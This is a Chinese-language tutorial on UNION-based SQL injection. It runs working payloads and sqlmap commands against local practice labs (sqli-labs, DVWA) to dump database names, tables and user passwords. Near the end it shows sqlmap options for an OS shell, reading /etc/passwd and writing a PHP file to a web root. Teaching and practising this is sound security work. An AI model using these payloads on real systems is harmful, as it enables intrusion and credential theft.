联合查询(union)注入

• 目录

• 联合查询注入原理

• 联合查询注入实操

• sqlmap进行联合查询注入

一. 联合查询注入原理

1. mysql联合查询语法介绍

联合查询属于mysql的多表查询；

联合查询语法：select column1,column2,column3 from table1 union select column1,column2,column3  from table2 

 联合查询第二个表的字段数必须和第一个表的字段数相同；不然会报错；

变化性联合查询：

 主要字段数相同，后面select函数查询什么都可以，哪怕是字符串；

2. 源码查看

打开sql注入靶机sqli-labs-master的第一关查看源代码

主要源代码是我下面截图的部分

 其中主要的一句sql语句是：

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其中id是我们GET传参传入的一个变量；可以看到输入正常的语句数据库并不会有问题

但是当$id=1' union select 1,2,database() -- - 时，整个sql语句就变成了

$sql="SELECT * FROM users WHERE id='1' union select 1,2,database() -- -' LIMIT 0,1"; （其中-- -为注释符，注释后面）

由于id参数外界可控；所以就形成了sql注入漏洞；攻击者利用这个漏洞可以查看(数据库当前用户权限)可以查看的任意资源；相当于拥有了与当前web绑定用户的所有权限；

sql注入产生的两大因素：1. 可控变量 2. 数据库交互

3. 联合查询常用函数

concat()　　　　　　　　横向合并

group_concat()　　　　　纵向合并

order by x　　　　　　　 猜解字段数

limit x,1　　　　　　　     逐行显示

database()　　　　　　　显示当前数据库

version()　　　　　　　　显示当前版本

user()　　　　　　　　　 显示当前用户

-- -　　#　　--+　　　　　注释符号

/**/　　%0a　　+　　　　 空格符

/*!*/　　　　　　　　　　  内联注释　　　　　   　　　  

二. 联合查询注入实操

1. 攻击环境

靶机：127.0.0.1主机；phpstudy环境；sqli-labs-master靶机；第三关

攻击机：127.0.0.1主机

2. 攻击步骤

（1）查看主页：127.0.0.1/sqli-labs-master/Less-3

 （2）查询注入点（闭合）

常见闭合方式：'　　',"　　",(　　),('　　'),("　　"),'%　　%',"%　　%",('%　　%'),("%　　%")," '　　' "

其中：如果索引值为数值型，可以是数字or字符；如果索引值是字符型，只能是字符

mysql有个特殊的情况，真=1，假=0

 在第三题中，我输入?id=1' and '1'='1　　页面正确；输入?id=1' and '1'='2　　页面错误；我以为 ' 为闭合符号，后来才发现不是；先使用注释符号进行尝试，别整什么左右闭合

猜测出闭合符号：')

?id=1') and 1=1-- - 正确；

?id=1') and 1=2-- - 错误；

（3）查询字段数

order by x 函数进行字段数查询；当当前字段存在时，则页面正常。当当前字段不存在时，则页面错误。（推荐二分法）

 当order by 3时正确；当order by 4时错误；字段数为3

（4）查询数据库名：

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,database()-- -

（5）查询表名：

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where 
table_schema='security'-- -

（6）查询字段名：

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where 
table_name='users' and table_schema='security'-- -

（7）查询数据：

1）一行一行查询：limit x,1函数

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,concat(id,0x7e,username,0x7e,password) from users limit 0,1-- -

 其中改变limit 0,1的0为0~1~2 可以获取不同的行

 2）一次性全部查询：group_concat()函数

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(concat(id,0x7e,username,0x7e,password)) from users-- -

三. sqlmap对联合查询的使用

1. sqlmap的重要参数

-u　　　　　　指定url

-p　　　　　　指定注入参数

-D　　　　　　指定数据库名

-T　　　　　　指定表名

-C　　　　　　指定列名

--dbs　　   　　查询所有数据库名

--current-db　　查询当前数据库名

--tables　　　　查询所有表

--columns　　　查询所有列

--batch　　　　 自动化默认操作

-r　　　　　　　指定路径　　　　　　　　　　burp抓到的包指定路径（适合post；有cookie；免验证）

--forms　　　　  自动识别post表单参数　　　　适合无登录的url，或手动添加cookie

--cookie　　　　指定cookie

2. sqlmap实操

（1）针对无验证的联合查询注入

靶机：http://127.0.0.1/sqli-labs-master/Less-4/

攻击机：127.0.0.1

查询是否存在注入点

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" --batch

查询当前数据库

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid --current-db --batch

查询当前表

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security --tables --batch

查询当前字段

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security -T users --columns --batch

查询当前数据

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security -T users -C id,password,username --dump --batch

（2）针对有验证的联合查询注入

靶机：DVWA

攻击机：127.0.0.1

查询当前参数是否存在注入点

不添加cookie身份进行测试；

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --batch

 添加cookie进行测试

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid 
--cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch

 回显为可以注入点

查询当前数据库名：

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch --current-db

查询当前所有表名：

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid 
--cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa --tables

查询当前所有字段名：

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa -T users --columns

查询数据：

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa -T users -C user,password --dump

（3）sqlmap写扩展功能

sqlmap注入点测试广度：

--level参数　　1-5级别；默认1级别

sqlmap注入点测试深度：

--risk参数　　  1-3级别；默认1级别

执行shell

--os-shell

sqlmap读文件

-file-dest

 sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2

sqlmap写文件

-file-write

 sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2

sqlmap脚本引用参数：

--tamper